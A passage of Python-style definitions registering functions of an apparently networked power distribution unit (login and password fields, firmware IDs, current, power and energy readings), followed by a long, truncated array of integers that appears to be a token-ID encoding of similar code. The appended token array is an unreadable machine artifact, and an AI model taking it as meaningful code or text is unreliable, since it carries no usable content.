func.name = "UserPassword"
func.description = "User Password"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10069] = func
func.guid = 10069
func.name = "RestrictedUserLogin"
func.description = "Restricted User Login"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[10070] = func
func.guid = 10070
func.name = "RestrictedUserPassword"
func.description = "Restricted User Password"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 16
func = Functions()
functions[60020] = func
func.guid = 60020
func.name = "BootAppFwID"
func.description = "Identification of the firmware"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 8
func = Functions()
functions[60021] = func
func.guid = 60021
func.name = "BootAppFwVersion"
func.description = "Identification of the hardware"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_VERSION"
func.valDef.size = 4
func = Functions()
functions[15] = func
func.guid = 15
func.name = "ApparentPower"
func.description = "Apparent power (this is the product of the current and the voltage)"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "VA"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[16] = func
func.guid = 16
func.name = "PowerFactor"
func.description = "Powerfactor "
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[5010] = func
func.guid = 5010
func.name = "MinCurrent"
func.description = "Minimum port current occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5011] = func
func.guid = 5011
func.name = "MinPower"
func.description = "Minimum port power occured since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5012] = func
func.guid = 5012
func.name = "MinPowerFactor"
func.description = "Minimum powerfactor occured per port since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 5
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[5013] = func
func.guid = 5013
func.name = "MaxPowerFactor"
func.description = "Maximum powerfactor occured per port since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 5
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[17] = func
func.guid = 17
func.name = "TotalCurrent"
func.description = "Total current"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[18] = func
func.guid = 18
func.name = "TotalRealPower"
func.description = "Total real power"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[19] = func
func.guid = 19
func.name = "TotalApparentPower"
func.description = "Total apparent power"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "VA"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[20] = func
func.guid = 20
func.name = "TotalActiveEnergy"
func.description = "Total active energy"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "kWh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[21] = func
func.guid = 21
func.name = "TotalApparentEnergy"
func.description = "Total apparent energy"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "kVAh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[22] = func
func.guid = 22
func.name = "TotalPowerFactor"
func.description = "Total power factor"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[5014] = func
func.guid = 5014
func.name = "MinTotalCurrent"
func.description = "Minimum port current occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5015] = func
func.guid = 5015
func.name = "MinTotalPower"
func.description = "Minimum port power occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 6
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5016] = func
func.guid = 5016
func.name = "MinTotalPowerFactor"
func.description = "Minimum total power factor occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 5
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[5017] = func
func.guid = 5017
func.name = "MaxTotalPowerFactor"
func.description = "Maximum total power factor occurred since last reset"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER_WITH_TS"
func.valDef.size = 5
func.valDef.unit = "%"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[10071] = func
func.guid = 10071
func.name = "ActiveTotalEnergyReset"
func.description = "Active Total Energy / time of reset + value at that time"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 8
func.valDef.unit = "kWh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10072] = func
func.guid = 10072
func.name = "ApparentTotalEnergyReset"
func.description = "Apparent Total Energy / time of reset + value at that time"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 8
func.valDef.unit = "kVAh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[50010] = func
func.guid = 50010
func.name = "MonitorAutoRefresh"
func.description = "Get the monitor values from the module that are auto refreshed"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_POINTER"
func = Functions()
functions[40011] = func
func.guid = 40011
func.name = "Role"
func.description = "To see in which role you are logged in"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[40012] = func
func.guid = 40012
func.name = "UserLoginAndPassword"
func.description = "Contains 1 loginname and 1 password"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_STRING"
func.valDef.length = 32
func = Functions()
functions[40014] = func
func.guid = 40014
func.name = "DoHotReset"
func.description = "Hot reset of the device"
func.read = 0
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_COMMAND"
func.valDef.size = 1
| [
2,
279,
2645,
600,
25,
15560,
28,
54,
15,
1264,
198,
6738,
449,
8142,
38765,
1330,
474,
198,
198,
41,
16811,
11159,
796,
474,
13,
8692,
37724,
13,
15252,
628,
198,
220,
220,
220,
1303,
15965,
2977,
628,
198,
12543,
2733,
796,
23884,
198,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
16,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
352,
198,
20786,
13,
3672,
796,
366,
12218,
26796,
19580,
1,
198,
20786,
13,
11213,
796,
366,
12218,
3722,
286,
257,
8265,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
17,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
362,
198,
20786,
13,
3672,
796,
366,
32419,
26796,
19580,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
18,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
513,
198,
20786,
13,
3672,
796,
366,
11297,
7575,
1,
198,
20786,
13,
11213,
796,
366,
47000,
41033,
286,
262,
1459,
640,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
51,
3955,
6465,
23518,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
4944,
10426,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
19,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
604,
198,
20786,
13,
3672,
796,
366,
53,
5978,
496,
1,
198,
20786,
13,
11213,
796,
366,
17821,
371,
5653,
45444,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
642,
198,
20786,
13,
3672,
796,
366,
37,
28707,
1,
198,
20786,
13,
11213,
796,
366,
37,
28707,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
7399,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
21,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
718,
198,
20786,
13,
3672,
796,
366,
11297,
1,
198,
20786,
13,
11213,
796,
366,
11297,
2081,
371,
5653,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
22,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
767,
198,
20786,
13,
3672,
796,
366,
13434,
1,
198,
20786,
13,
11213,
796,
366,
15633,
4333,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
23,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
807,
198,
20786,
13,
3672,
796,
366,
9012,
13924,
26628,
1,
198,
20786,
13,
11213,
796,
366,
14421,
2493,
1181,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
24,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
860,
198,
20786,
13,
3672,
796,
366,
13739,
28925,
1,
198,
20786,
13,
11213,
796,
366,
13739,
6682,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
1199,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
940,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
838,
198,
20786,
13,
3672,
796,
366,
4677,
1580,
28925,
1,
198,
20786,
13,
11213,
796,
366,
4677,
1580,
6682,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
53,
10910,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1157,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1367,
198,
20786,
13,
3672,
796,
366,
42492,
1,
198,
20786,
13,
11213,
796,
366,
42492,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
34,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
532,
34159,
3104,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
36203,
3104,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1065,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1105,
198,
20786,
13,
3672,
796,
366,
32661,
17995,
1,
198,
20786,
13,
11213,
796,
366,
32661,
17995,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
48587,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
1485,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1511,
198,
20786,
13,
3672,
796,
366,
22480,
22785,
1,
198,
20786,
13,
11213,
796,
366,
36570,
39492,
287,
49049,
583,
5664,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
48235,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
198,
20786,
13,
3672,
796,
366,
11518,
11297,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2493,
1459,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
16,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
16,
198,
20786,
13,
3672,
796,
366,
11518,
13434,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2493,
1176,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
17,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
17,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
11297,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1459,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
18,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
18,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
13434,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1176,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
807,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
19,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
19,
198,
20786,
13,
3672,
796,
366,
11518,
53,
5978,
496,
1,
198,
20786,
13,
11213,
796,
366,
40541,
15004,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
20,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
20,
198,
20786,
13,
3672,
796,
366,
9452,
53,
5978,
496,
1,
198,
20786,
13,
11213,
796,
366,
44046,
15004,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
21,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
21,
198,
20786,
13,
3672,
796,
366,
9452,
42492,
1,
198,
20786,
13,
11213,
796,
366,
44046,
5951,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
34,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
532,
34159,
3104,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
36203,
3104,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
22,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
22,
198,
20786,
13,
3672,
796,
366,
11518,
42492,
1,
198,
20786,
13,
11213,
796,
366,
40541,
5951,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
34,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
532,
34159,
3104,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
36203,
3104,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
23,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
23,
198,
20786,
13,
3672,
796,
366,
9452,
32661,
17995,
1,
198,
20786,
13,
11213,
796,
366,
44046,
27716,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
48587,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
24,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
24,
198,
20786,
13,
3672,
796,
366,
11518,
32661,
17995,
1,
198,
20786,
13,
11213,
796,
366,
40541,
27716,
5091,
1201,
938,
13259,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
62,
54,
10554,
62,
4694,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
48587,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
49388,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
33028,
198,
20786,
13,
3672,
796,
366,
20231,
1,
198,
20786,
13,
11213,
796,
366,
33234,
2649,
286,
262,
8265,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
